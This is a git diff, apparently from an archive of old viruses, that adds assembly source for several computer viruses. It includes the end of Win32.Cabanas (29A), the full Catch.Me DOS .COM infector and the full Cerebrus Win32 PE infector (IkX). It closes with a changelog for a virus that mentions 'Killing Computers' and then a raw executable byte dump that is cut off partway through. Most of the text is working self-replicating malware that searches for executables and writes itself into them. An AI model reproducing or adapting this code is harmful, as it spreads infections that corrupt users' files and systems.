(2*Pshd) + +MyGetProcAddress endp + +MyGetModuleHandleW: ;this function retrieves the base address/module handle + ; of KERNEL32 module previosly loaded to memory asumin + ; the GetModuleHandleW API was found in the import + ; table of the host + + mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleW API in the IAT +ddGetModuleHandleW = dword ptr $ - 4 + jmp MyGetModuleHandle + +MyGetModuleHandleA: ;this function retrieves the base address/module handle + ; of KERNEL32 module previosly loaded to memory asumin + ; the GetModuleHandleA API was found in the import + ; table of the host + + mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleA API in the IAT +ddGetModuleHandleA = dword ptr $ - 4 + +MyGetModuleHandle proc ;this function retrieves the base adress of KERNEL32 + ;on entry: + ; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT + ; TOS+04h (Arg1): pointer to KERNEL32 module name + ; TOS+00h (return adress) + ;on exit: + ; Zero flag set = Base adress not found + ; Zero flag clear = Base adress found + ; EAX = KERNEL32 base adress + + sub eax,eax ;set zero flag + pop ebx ;get return adress + pop eax ;Arg1 + push ebx ;push return adress + mov ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress + jecxz end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump + push eax + call [ebx + ecx] ;call GetModuleHandle(A/W) API + chk_0: inc eax + jz end_MyGetModuleHandle ;if any error, not found, jump + dec eax + +end_MyGetModuleHandle: + + ret + +MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress + ; via an undocumented method. This function procedure + ; doesnt work in Winblowz NT + + mov eax,[ebx + 12345678h] +ptrForwarderChain = dword ptr $ - 4 + cmp eax,12345678h +ddForwarderChain = dword ptr $ - 4 + jnz chk_0 + ret + +MyGetModuleHandle endp + +get_ebp2: mov al,0 + jnc get_ebp ;clear carry (unicode version) + dec eax ;clear set (ansi version) + +get_ebp: call pop_ebp + +m_ebp: + +v_end: ;virus code ends here + +;uninitialized data ;these variablez will be adressed in memory, but dont waste space in the file + +ImportHdr dd ? ;import table RVA of current host +pCodeTable dd ? ;pointer to encrypted chunkz of code ;these 2 variables may overlap. + org $ - 4 ;one is used at instalation stage, +pHandlez dd ? ;pointer to top of Handlez table ;the other one used when resident. +phost_hdr dd ? ;pointer to actual base adress of host +pcode_start dd ? ;pointer to start of virus code/data in memory +K32Mod dd ? ;KERNEL32 base adress +ddGetProcAddress2 dd ? ;adress where GetProcAddress API will be stored ;these 2 variables may overlap. + org $ - 4 ;one is used at instalation stage, +pPathNamez dd ? ;pointer to top of PathNamez table ;the other one used when resident. +pNewAPIs dd ? ;pointer to new API entry in the jump table +uni_or_ansi db ? ;needed to diferentiate unicode from ansi stringz + +FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus + +ddCreateFileA dd ? +ddCreateFileW dd ? +ddFindClose dd ? +ddFindFirstFileA dd ? +ddFindFirstFileW dd ? +ddFindNextFileA dd ? +ddFindNextFileW dd ? +ddSetFileAttributesA dd ? +ddSetFileAttributesW dd ? +ddCloseHandle dd ? + +ddCreateFileMappingA dd ? +ddMapViewOfFile dd ? +ddUnmapViewOfFile dd ? +ddSetFilePointer dd ? +ddSetEndOfFile dd ? +ddSetFileTime dd ? +ddGetWindowsDirectoryA dd ? +ddGetSystemDirectoryA dd ? +ddGetCurrentProcess dd ? +ddGetModuleFileName dd ? +ddWriteProcessMemory dd ? +ddWideCharToMultiByte dd ? +ddVirtualAlloc dd ? + +v_stringz: ;the API namez used by the virus are decrypted here + +vszKernel32 db 'KERNEL32',0 +vszGetModuleHandleA db 'GetModuleHandleA',0 +vszGetModuleHandleW db 'GetModuleHandleW',0 + +Exts db 'fxEtcR' ;list of extensionz to infect + db 0 + +FunctionNamez2: ;resident API namez, needed for dynamically API hookin + +vszGetProcAddress db 'GetProcAddress',0 +vszGetFileAttributesA db 'GetFileAttributesA',0 +vszGetFileAttributesW db 'GetFileAttributesW',0 +vszMoveFileExA db 'MoveFileExA',0 +vszMoveFileExW db 'MoveFileExW',0 +vsz_lopen db '_lopen',0 +vszCopyFileA db 'CopyFileA',0 +vszCopyFileW db 'CopyFileW',0 +vszOpenFile db 'OpenFile',0 +vszMoveFileA db 'MoveFileA',0 +vszMoveFileW db 'MoveFileW',0 +vszCreateProcessA db 'CreateProcessA',0 +vszCreateProcessW db 'CreateProcessW',0 + +FunctionNamez: + +vszCreateFileA db 'CreateFileA',0 +vszCreateFileW db 'CreateFileW',0 +vszFindClose db 'FindClose',0 +vszFindFirstFileA db 'FindFirstFileA',0 +vszFindFirstFileW db 'FindFirstFileW',0 +vszFindNextFileA db 'FindNextFileA',0 +vszFindNextFileW db 'FindNextFileW',0 +vszSetFileAttributesA db 'SetFileAttributesA',0 +vszSetFileAttributesW db 'SetFileAttributesW',0 + +non_res: ;non-resident API namez + +vszCloseHandle db 'CloseHandle',0 +vszCreateFileMappingA db 'CreateFileMappingA',0 +vszMapViewOfFile db 'MapViewOfFile',0 +vszUnmapViewOfFile db 'UnmapViewOfFile',0 +vszSetFilePointer db 'SetFilePointer',0 +vszSetEndOfFile db 'SetEndOfFile',0 +vszSetFileTime db 'SetFileTime',0 +vszGetWindowsDirectory db 'GetWindowsDirectoryA',0 +vszGetSystemDirectory db 'GetSystemDirectoryA',0 +vszGetCurrentProcess db 'GetCurrentProcess',0 +vszGetModuleFileName db 'GetModuleFileNameA',0 +vszWriteProcessMemory db 'WriteProcessMemory',0 +vszWideCharToMultiByte db 'WideCharToMultiByte',0 +vszVirtualAlloc db 'VirtualAlloc',0 + +EndOfFunctionNamez db 0 + +szCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0 + + org (non_res + 1) +v_end2: + +NewAPItable db nAPIS dup (?) + +FindData WIN32_FIND_DATA ? ;this structure will hold data retrieved trhu FindFirst/Next APIz + +PathName db MAX_PATH dup (?) ;filenamez will be stored here for infection + +virtual_end: ;end of virus virtual memory space (in PE filez) + +Handlez db nHANDLEZ dup (?) ;Handlez table + +PathNamez db nPATHNAMEZ dup (?) ;PathNamez table + +virtual_end2: ;end of virus virtual memory space (in flat memory) + +first_generation: ;this routine will be called only once from the first generation sample, + ;it initializes some variables needed by the virus in the first run. +jumps + push NULL + call GetModuleHandleA + test eax,eax + jz exit + xchg ecx,eax + call ref + ref: pop ebx + + mov eax,ebx + sub eax,ref - host + sub eax,ecx + sub eax,[add_1st_val] + mov [ebx + code_table - ref],eax + + mov al,6Ah + ror al,1 + xor al,[xor_2nd_val] + mov [ebx + code_table + 6 - ref],al + + mov eax,ebx + sub eax,ref - code_table + sub eax,ecx + neg eax + mov [ebx + delta_host - ref],eax + + mov [ebx + old_base - ref],ecx + + mov eax,[ebx + pfnGMH - ref] + .if word ptr [eax] == 25FFh ;jmp [xxxxxxxx] + mov eax,[eax + 2] + .endif + sub eax,ecx + mov [ebx + ddGetModuleHandleA - ref],eax ;set GetModuleHandleA RVA pointer + + mov eax,[ebx + pfnGPA - ref] + .if word ptr [eax] == 25FFh ;jmp [xxxxxxxx] + mov eax,[eax + 2] + .endif + sub eax,ecx + mov [ebx + ddGetProcAddress - ref],eax ;set GetProcAddress RVA pointer + + cld ;encrypt API stringz + mov ecx,ve_string_size + lea esi,[ebx + ve_stringz - ref] + mov edi,esi + +encrypt_stringz: + + lodsb + cmp al,80h + lahf + xor al,0B5h + ror al,cl + stosb + sahf + .if zero? + movsb + .endif + dec ecx + cmp ecx,10 + jnz encrypt_stringz + + mov ecx,v_end2 - v_stringz + lea edi,[ebx + v_stringz - ref] + mov al,-1 + rep stosb + + jmp v_start + +pfnGMH dd offset GetModuleHandleA +pfnGPA dd offset GetProcAddress + +;Host code starts here + +extrn MessageBoxA: proc +extrn ExitProcess: proc + +host: push MB_OK ;display message box + @pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A" + @pushsz "First generation sample" + push NULL + call MessageBoxA + +exit: push 0 ;exit host + call ExitProcess + + end first_generation diff --git a/c/catchme.asm b/c/catchme.asm new file mode 100755 index 0000000..8fee61c --- /dev/null +++ b/c/catchme.asm @@ -0,0 +1,138 @@ +;########################################################################### +# +;# Virus Name: Catch.Me # Size: 371 Bytes +# +;# Author: Jerk1N # EMail: jerk1n@trust-me.com +# +;########################################################################### +# +;# Notes +# +;# - Tells the user which files it's infecting! +# +;# - Uses NO anti-virus tricks, encryption etc. +# +;########################################################################### +# + .model tiny + .radix 16 + .code +start: + db 03h,00h,0E9h,00h,00h +gotacod: + call $+3 +getdo: pop di + sub di,offset $-1 + xchg bp,di + jmp om +msg db 'I am the Catch.Me Virus written Jerk1N of +DIFFUSION',0Dh,0Ah + db 'I am infecting files -',0Dh,0Ah,'$' +om: mov ah,1Ah + lea dx,[bp+offset dta] + int 21h + mov ah,09h + lea dx,[bp+offset msg] + int 21h + mov di,100h + lea si,[bp+offset orig] + movsw + movsw + movsb + call findfile + call fndnext +ohcrap: + push 100h + retn +fspec db '*.COM',0 +ID db '[Catch.Me]',0 +creator db '[Jerk1N/DIFFUSION]',0 +orig db 0CDh,20h,00h,00h,00h +new3 db 03h,00h,0E9h,00h,00h +findfile: + call cleara + mov ah,4Eh + mov cx,07h + lea dx,[bp+offset fspec] + int 21h + jc ohcrap + jmp infect +fndnext: + call cleara + mov ah,4Fh + int 21h + jc ohcrap + jmp infect +infect: + mov ax,4301h + mov cx,00h + lea dx,[bp+offset dta+1Eh] + int 21h ;Clear Attributes + call fopen + jc ohcrap + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + sub ax,05h + mov word ptr [bp+offset new3+3h],ax + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + mov ah,3Fh + mov cx,5h ;Headr Len + lea dx,[bp+offset orig] + int 21h ;Get orig code! + cmp byte ptr [bp+offset orig],03h + jne goinf + cmp byte ptr [bp+offset orig+2h],0E9h + je fndnext +goinf: + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + mov cx,05h ;Headr Len + lea dx,[bp+offset new3] + int 21h ;Write Header! + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + mov cx,V_len + lea dx,[bp+offset gotacod] + int 21h ;Write Virus + call closef + lea dx,[bp+offset dta+1Eh] + mov ah,09h + int 21h + lea dx,[bp+offset retun] + int 21h + ret +cleara: + mov cx,20h + mov ax,'$$' + lea bx,[bp+offset dta+1Eh] +l: mov [bx],ax + inc bx + inc bx + loop l + ret +fopen: + mov ah,3Dh + mov al,02h + int 21h + xchg bx,ax + ret +closef: + mov ah,3Eh + int 21h + ret +V_len equ offset heap - offset gotacod +retun db 0Dh,0Ah,'$' +heap: ;Destroy all data below this line +dta equ $ + end \ No newline at end of file diff --git a/c/cerebus.asm b/c/cerebus.asm new file mode 100755 index 0000000..1f86f23 --- /dev/null +++ b/c/cerebus.asm @@ -0,0 +1,703 @@ +; +; Cerebrus, by Murkry/IkX +; +; +; +; this virus is a beta test of an idea I have heard and read about, +; but had never tried. What it does is append its own code to the end of the +; host file and then alter the NEW HEADER pointer at 3ch to point to itself. +; While this virus does work, because of a few mistakes I made the infected +; file will not have any icons associated with it. There are several ways +; around this. But my next attempt at one of these would actualy be larger +; I would just copy the virus in memory to the end of the host. This way I +; would not need to write the internal info and would let Win95 handle it all. +; I actual code the Import data table into the virus this is for size +; consideration . While I still like the idea for this virus the main reason +; I wanted to try it was to try out some code I read about that would mark a +; file as Erase on CLose (or something like that). It describes a self erasing +; file like maybe a Setup program runs once never again. But the idea seems +; like it would only work in NT not 95 at least in my tests. +; Another thing I found was that while MS pushes us to use the Win32 +; CreateProc.. and not WinExec. CreateP will only run PE files while WinExec +; will run dos/NE/PE files. So someone could write this so that it infect all +; those files but would only spread under Win95, in DOS the orginal Dos program +; would be called, In 3.11 you would see the dos error msg, and in Win95 all +; the programs would infect and run ok. +; In testing this virus works well 'cept for a few little things, like other +; virus that modify the New Header offset it will make the icons vanish since +; the .rscr section is now "lost". A second thing I believe (know) is that +; since I use an internal .idata structure and I only have one of the pntrs to +; the API in it, yet after the first Generation this pntr is overwritten with +; the address of the API call itself. Actually I am sorta surprised this did +; not cause an error, I guess in Win95 it thinks its bound already and leaves +; it alone. Hmm some of you know what I mean others, I sure are lost, ;) sorry. +; Anyway you can fix this in two ways, one easier than the other depending on +; who you talk to. 1 keep the other refrence to the api name, 2 have a routine +; that fixes this before you write the virus to another host. +; Anyway, despite the problems with this version of the virus I beleive that +; this method with some changes could be very viable in the Win32 enviroment. +; +; To compile use the mk.bat file. +; +; The other file 1.inc is just some header info I used after I finished this +; virus I realize I really did not need to do all that work, but for those of +; you who are curios about the PE header examine away. + +; Murkry + + +.386 +.model flat, stdcall +True equ 1 +False equ 0 +GENERIC_READ equ 80000000h +GENERIC_WRITE equ 40000000h +FATTR_NORMAL equ 0 +OPEN_EXISTING equ 3 + +;File is setup so that there will be 2 PE headers we use debug or +; some tool to set the MZ 3ch to point to our second PE header +; then when run the PE part could be append to the other PE files +; and infect in that matter the only parts that need to be alter +; in the section header +; Pter to Raw Data + +LoadAT equ 01000h +offs equ offset PEheader ;+ LoadAT + 400000h + +; - offset PEheader + LoadAT + 400000h +;Define the needed external functions and constants here. + +extrn ExitProcess:PROC +extrn MessageBoxA:PROC + +extrn CreateProcessA:PROC +.data ;the data area +dummy dd ? ;tasm needs some data or it won't work! + +.code ;executable code starts here +include 1.inc + +CodeSect db 'CODE',0,0,0,0 +CodeVSize dd 0000e000h ; +CodeVAddr dd LoadAT ; +CodeSzRawData dd 00000800h ; +CodePtrRwData dd 00000600h ;where the code for this section is + dd 00000000h + dd 00000000h + dw 0000h + dw 0000h +CodeChar dd 0A0000060h ;6000 0020 + + +RescSect db '.rsrc',0,0,0 + dd 00002000H ; + dd 0E000h;LoadAT + 0e000h ; + dd 00001600h ; + dd 00000200h ;where the code for this section is + dd 00000000h + dd 00000000h + dw 00h + dw 00h + db 40h,00,00,40h + + + dd 0000h +CDseg: +IDATA: + DD 0 ; usual this has a redunat entry + ;We are skipping it + ; offset API_LOC1 - offset PEheader + LoadAT + + dd 0 ;time date stamp + dd 0 ;where in memory this dll is loaded + + DD offset DLL1 - offset PEheader + LoadAT + + DD offset API_LOC2 - offset PEheader + LoadAT + + DD 0 ; usual this has a redunt entry + ;We are skipping it + ; offset API_LOC1 - offset PEheader + LoadAT + + dd 0 ;time date stamp + dd 0 ;where in memory this dll is loaded + + DD offset DLLA - offset PEheader + LoadAT + + DD offset API_LOC2A - offset PEheader + LoadAT + DD 00000000H + + + DB 10H DUP(0) + + +API_LOC2 DD offset FUNC1 - offset PEheader + LoadAT ; +beep DD offset FUNC2 - offset PEheader + LoadAT ;4h +VxdCall0 DD 80000001h ;8h +getcomline DD offset FUNC3 - offset PEheader + LoadAT ;Ch +createp DD offset FUNC4 - offset PEheader + LoadAT ;10h +Copy DD offset FUNC5 - offset PEheader + LoadAT +Create DD offset FUNC6 - offset PEheader + LoadAT +FileP DD offset FUNC7 - offset PEheader + LoadAT +Read DD offset FUNC8 - offset PEheader + LoadAT +Write DD offset FUNC9 - offset PEheader + LoadAT +Close DD offset FUNC10 - offset PEheader + LoadAT +FindFirst DD offset FUNC11 - offset PEheader + LoadAT +FindNext DD offset FUNC12 - offset PEheader + LoadAT +CloseFind DD offset FUNC13 - offset PEheader + LoadAT +FileSize DD offset FUNC14 - offset PEheader + LoadAT +WinEx DD offset FUNC15 - offset PEheader + LoadAT + DD 0 +MsgBox: +API_LOC2A DD offset FUNCA - offset PEheader + LoadAT + + DD 0 + +DLL1 DB 'KERNEL32.dll',0 +DLLA DB 'USER32',0 + + dw 0 ;ends dll names + +FUNC1 dw 0 + db 'ExitProcess',0 + +FUNC2 dw 0 + DB 'Beep',0 + +FUNC3 dw 0 + DB 'GetCommandLineA',0 + +FUNC4 dw 0 + db 'CreateProcessA',0 + +FUNC5 dw 0 + db 'CopyFileA',0 + +FUNC6 dw 0 + db 'CreateFileA',0 + +FUNC7 dw 0 + db 'SetFilePointer',0 + +FUNC8 dw 0 + db 'ReadFile',0 + +FUNC9 dw 0 + db 'WriteFile',0 + +FUNC10 dw 0 + db 'CloseHandle',0 + +FUNC11 dw 0 + db 'FindFirstFileA',0 + +FUNC12 dw 0 + db 'FindNextFileA',0 + +FUNC13 dw 0 + db 'FindClose',0 + +FUNC14 dw 0 + db 'GetFileSize',0 + +FUNC15 dw 0 + db 'WinExec',0 + + + db 0 ;end of Function list for this DLL + + +FUNCA dw 0 + db 'MessageBoxA',0 + dw 0 + + db 0 ;end the function list + db 0 ;end the DLL list + + +EndIDATA: + +Begin: + + Call Beep + + +;------------------------------------------------------------- + ;this API returns the call with " " so we now move this name only + ;to our buffer excluding the " " and adding the 0 at the end + + call dword ptr [getcomline] + + xchg esi,eax + inc esi + mov edi,offset filename + push edi ;save pointer to the orginal filename + +GetLoop: + lodsb + cmp al,'"' + je AllDone + stosb + jmp GetLoop + +AllDone: + xor eax,eax + stosb + +;get the command line in case we need it + mov edi, offset pCommandLine +GetLine: + lodsb + stosb + cmp al,0 + jne GetLine + +;------------------------------------------------------------- +;Now make the file name into something we can use + pop esi ;pnter to the current file name + push esi + mov Edi,offset tempfile + +TempFile: + lodsb + stosb + cmp al,'.' + jne TempFile + xor eax,eax + ;MOV EAX,004D4F43H ;00'MOC' + mov eax, 00455645h ;00'EVE' + stosd +;------------------------------------------------------------- + pop edi ;the host file + +;-------------------------------------------------------------- +;Copy the file to another name + Call dword ptr [offset Copy] , edi, offset tempfile ,large False + or eax,eax + jz ErrorFile +;-------------------------------------------------------------- +;Open the File r/w using Create file + +Call dword ptr [Create] , offset tempfile, GENERIC_READ or GENERIC_WRITE, \ + large 0, large 0, large OPEN_EXISTING, large 0,large 0 + + mov dword ptr [fHandle],eax + +;-------------------------------------------------------------- +;Move Pointer to the 3ch and fix the pointer to old PE file + Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0 + +;for debuggin +; pusha +; mov edi,dword ptr [OldOff] +; call ConvertIt +; Call dword ptr [MsgBox] , large 0, offset tempfile , offset numb +; ,large 1 +; popa +;end for debuggin + + +;-------------------------------------------------------------- +;Write to the file using Write + Call dword ptr [Write], [fHandle],offset OldOff,large 4, \ + offset NumRead, large 0 + +;-------------------------------------------------------------- +;Close the file + Call dword ptr[Close],[fHandle] + +;-------------------------------------------------------------- +;Run the file using CreateProcess + Call dword ptr [createp], \ + offset tempfile, \ ;module name + offset blank, \ ;command line + large 0, \ ;sec attr + large 0, \ ;thread sec + Large False, \ ;inherit handles + large 0, \ ;create flags + large 0, \ ;Enviroment + large 0, \ ;current directory + offset StartupInfo, \ ;startup info + offset ProcessInfo \ ;process info + + +;--------------------------------------------------------------------------- +;Run the file using Winexec +; Call dword ptr [WinEx], offset tempfile, large 1 +; +; Call dword ptr[Close],EAX +;--------------------------------------------------------------------------- +;Now try to infect a new file +;1 find file +;2 open the file +;3 make sure its a even 200h boundary alter if needed +;4 modifiy the ptr to raw data in the .Code section +; write the new end to the file +;5 goto top of file then modify 3ch offset to point to the new location +; +;--------------------------------------------------------------- +;1 First find a file + + Call dword ptr [FindFirst], offset NewHost, offset FindData + cmp eax,-1 + je ErrorFile + + mov dword ptr [hfindFile] ,Eax + + jmp GotOne + +CloseFileTry: + Call dword ptr[Close],[fHandle] + +tryfornext: + Call dword ptr [FindNext], [hfindFile], offset FindData + or eax,eax + jnz GotOne + + Call dword ptr[CloseFind],[hfindFile] + jmp ErrorFile + +GotOne: +;--------------------------------------------------------------- +;Open the File r/w using Create file + +Call dword ptr [Create] , offset fName, GENERIC_READ or GENERIC_WRITE, \ + large 0, large 0, large OPEN_EXISTING, large 0,large 0 + + mov dword ptr [fHandle],eax + + cmp eax,-1 + je tryfornext +;--------------------------------------------------------------- +;Get the file size and figure if we need to round it up to a 200h offset +; + call dword ptr [FileSize] , [fHandle],large 0 + cmp eax,-1 + je CloseFileTry + + mov dword ptr[SizeOfFile],eax + dec eax + mov ecx,200h + add eax,ecx + + XOR EDX,EDX + div ecx + mul ecx + mov [CodePtrRwData],eax ;holds the new file size + +;-------------------------------------------------------------- +;Read from the + Call dword ptr [Read] , \ + [fHandle], \ ;handle + offset buffer, \ ;where to read to + 100h, \ ;how much to read + offset NumRead, \ ;how much was read + large 0 ;overlapped amount not used win95 + + or eax,eax + jz CloseFileTry + + + mov ebx,offset buffer + cmp word ptr[ebx],'ZM' + jne CloseFileTry ;Get next file + + + cmp dword ptr [ebx + 3ch],0 + je CloseFileTry + + cmp dword ptr [ebx + 3ch],100h + jg CloseFileTry + + mov eax,dword ptr[ebx + 3ch] + mov dword ptr [OldOff],eax + + +;-------------------------------------------------------------- +;Move Pointer to the endf of the file + Call dword ptr [FileP] , [fHandle], large 0, large 0, large 2 + ; file end +;-------------------------------------------------------------- +;Get how many bytes to add to the file + + mov eax,dword ptr [CodePtrRwData] ; holds what the new file size + sub eax,dword ptr [SizeOfFile] + +;-------------------------------------------------------------- +;Write that many bytes to the end of the file +;Write to the file using Write + Call dword ptr [Write], \ + [fHandle], \ ;file handle + offset OldOff, \ ;where to write from + eax, \ ;how many to write + offset NumRead, \ ;how many bytes were writen + large 0 ;overlapped not used in win95 + +;-------------------------------------------------------------- +;Write to the file using Write + Call dword ptr [Write], \ + [fHandle], \ ;file handle + offset PEheader, \ ;where to write from + OFFSET filename - offset PEheader, \ ;how many to write + offset NumRead, \ ;how many bytes were writen + large 0 ;overlapped not used in win95 + + +;-------------------------------------------------------------- +;Move Pointer to the TOPF of the file + Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0 +;-------------------------------------------------------------- +;Write the new offset at 3ch + Call dword ptr [Write], \ + [fHandle], \ ;file handle + offset CodePtrRwData, \ ;where to write from + large 4 , \ ;how many to write + offset NumRead, \ ;how many bytes were writen + large 0 ;overlapped not used in win95 + +;-------------------------------------------------------------- +;close the file + Call dword ptr[Close],[fHandle] + +;--------------------------------------------------------------------------- + +;Call dword ptr [MsgBox] , large 0,offset tempfile, offset filename ,large 1 + +ErrorFile: + +K32ExitP: + Call dword ptr ds:[offset API_LOC2 ] ,-1 + + +;-------------------------------------------------------- +Beep: + call dword ptr ds:[offset beep ] ,eax,eax + + ret + +;===================================================================== +;ConvertIt takes a number in Edi and Converts it to Readable and Stores it +; in the location Pointed at by Esi +; +;Input +;Edi What number we want to convert to hexdecial readable +;Esi Where it will be placed When Done +; +; + +ConvertIt: + mov esi,offset numb + PushA + + push Edi + xchg Edi,Esi + mov cx,1ch + + +digit_loop: + pop Eax + push Eax + + shr Eax,Cl + and ax,000fh + sub cx,4 + cmp al,9 + jle number + + sub al,0ah + add al,41h + jmp letter + +number: + or al,30h +letter: + stosb + cmp cx,0fffCh + jne digit_loop + mov al,0 + stosb + + pop edi + + + PopA + + Ret +;=================================================================== +MURK DB 'MURKRY/IkX',0 +VIRII DB 'CEREBRUS',0 +info DB 'The three head guardian, is in your computer, fear no more',0 + +numb dd ? + +blank db ' ',0 +OldOff dd 100h + +NewHost db '*.EXE',0 +victim db 'Notepad.exe',0 ;in real virus this would be in the + ;find file info +filename db 256D dup (?) +tempfile db 256D dup (?) +hfindFile dd ? ; +fHandle dd ? +NumRead dd ? +pCommandLine db 256D DUP(?) + +FindData: +fileattr dd ? ; DWORD dwFileAttributes; ;00 00 00 00 +fCreat dd 2 dup(?) ; FILETIME ftCreationTime; ;DD ?,? ; +fAccess dd 2 dup(?) ; FILETIME ftLastAccessTime; ;DD ?,? ; +fWrite dd 2 dup(?) ; FILETIME ftLastWriteTime; ;DD ?,? ; +fsizelow dd ? ; DWORD nFileSizeHigh; ; +fsizehigh dd ? ; DWORD nFileSizeLow; ; +fresv1 dd ? ; DWORD dwReserved0; ; +fresv2 dd ? ; DWORD dwReserved1; ; +fName db 255d dup(?) ; CHAR cFileName[MAX_PATH]; 255B ; +fdosname db 14d dup(?) ; CHAR cAlternateFileName[ 14 ]; ; + +SizeOfFile dw ? +FleHdle dd ? +ProcessInfo dd 4h dup(?) +StartupInfo dd 18h dup(?) +buffer db ? + + +;------------- +ttle db 'Hello',0 +msg db 'from host',0 + +CodeEnds: + + + Call MessageBoxA, large 0, offset ttle, offset msg, large 1 + push -1 + Call ExitProcess + end CodeEnds + + +;[1.INC] + +;1.inc +PEheader db 'PE',0,0 ;200 +Machine dw 014ch +NumSect dw 0002h ;Seems Win95 does check this but if + ; there is a Section Header entry + ; it will load that section or as + ; many sections as there are entries + ; in other words it loads till + ; the next section header is 0000h + ; or it has load the NumSect + +TimeDate dd 6f052098h +PtrSymTble dd 00000000h +Numsymbols dd 00000000h +SizeOpHder dw 00e0h +Char dw 818eh + +Magic dw 010bh +LinkerVer dw 1902h +SiZeOfCOde dd offset CodeEnds - offset PEheader + +SizeOfInitData dd 00003000h +SizeOfUnintdata dd 000000000 + +EntryPoint dd offset Begin - offset PEheader + LoadAT +BaseCode dd 00400000h +BaseData dd 00400000h + +ImageBase dd 00400000h +SectionAlign dd 00001000h +FileAlign dd 00000200h + +OsMajor dw 0001h +Osminor dw 0000h +UseMajor dw 0000h +UseMinor dw 0000h +SubSysMajor dw 0003h +SubSysMinor dw 000Ah + dw 0000h + dw 0 +ImageSize dd 00010000h +HeaderSize dd offset CDseg - offset PEheader +FileCheck dd 0h ;checksum +Subsystem dw 0002h +DllFlag dw 0000h +StackRes dd 00100000h +StackComm dd 00002000h ;60 +HeapRes dd 00100000h +Heapcomm dd 00001000h +LoaderFlag dd 00000000h + +NumberRVA dd 00000010h ; Don't Infect it. * +; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * +; *==========================================================================* +; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * +; * 2. Change the Date of Killing Computers. * +; * 05/31/1998 3. Modify Virus Version Copyright. * +; * 4. The Virus "Basic" Size is 1019 Bytes. * +; **************************************************************************** +; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port * +; * 2. Modify Virus Version Copyright. * +; * 06/01/1998 3. Clear Garbage in Source Code. * +; * 4. The Virus "Small" Size in 10xx Bytes. * +; **************************************************************************** + + .586 + +; **************************************************************************** +; * Original PE Executable File(Don't Modify this Section) * +; **************************************************************************** + +OriginalAppEXE SEGMENT + +FileHeader: + db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h + db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h + db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh + db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h + db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h + db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh + db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh + db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h + db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah + db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h + db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h + db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h + db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h + db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 000h, 000h, 000h, 